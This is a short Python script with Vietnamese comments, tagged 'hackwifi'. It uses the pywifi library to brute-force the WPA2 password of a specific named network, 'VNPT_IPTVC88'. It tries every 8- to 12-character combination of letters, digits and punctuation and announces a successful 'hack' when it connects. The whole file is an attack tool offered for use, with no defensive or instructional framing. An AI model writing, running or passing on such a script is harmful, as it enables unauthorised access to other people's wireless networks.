import pywifi
import time
from pywifi import const
import itertools
import string
# Định nghĩa SSID mục tiêu
TARGET_SSID = "VNPT_IPTVC88"
def generate_passwords():
# Tạo tất cả các kết hợp có thể của chữ cái, số và ký tự đặc biệt
chars = string.ascii_letters + string.digits + string.punctuation
for length in range(8, 13): # Thử mật khẩu từ 8 đến 12 ký tự
for password in itertools.product(chars, repeat=length):
yield ''.join(password)
def connect_to_wifi(ssid, password):
wifi = pywifi.PyWiFi()
iface = wifi.interfaces()[0]
iface.disconnect()
time.sleep(1)
profile = pywifi.Profile()
profile.ssid = ssid
profile.auth = const.AUTH_ALG_OPEN
profile.akm.append(const.AKM_TYPE_WPA2PSK)
profile.cipher = const.CIPHER_TYPE_CCMP
profile.key = password
iface.remove_all_network_profiles()
tmp_profile = iface.add_network_profile(profile)
iface.connect(tmp_profile)
for _ in range(5): # Giảm thời gian chờ xuống 5 giây để tăng tốc độ
if iface.status() == const.IFACE_CONNECTED:
return True
time.sleep(1)
return False
def hack_wifi():
print(f"Bắt đầu tấn công vào mạng {TARGET_SSID}...")
for password in generate_passwords():
print(f"Đang thử mật khẩu: {password}")
if connect_to_wifi(TARGET_SSID, password):
print(f"Đã hack thành công! Mật khẩu là: {password}")
return password
print("Không thể hack được mật khẩu.")
return None
if __name__ == "__main__":
result = hack_wifi()
if result:
print(f"Mật khẩu của mạng {TARGET_SSID} là: {result}")
else:
print("Không thể tìm thấy mật khẩu.")
Tags:
hackwifi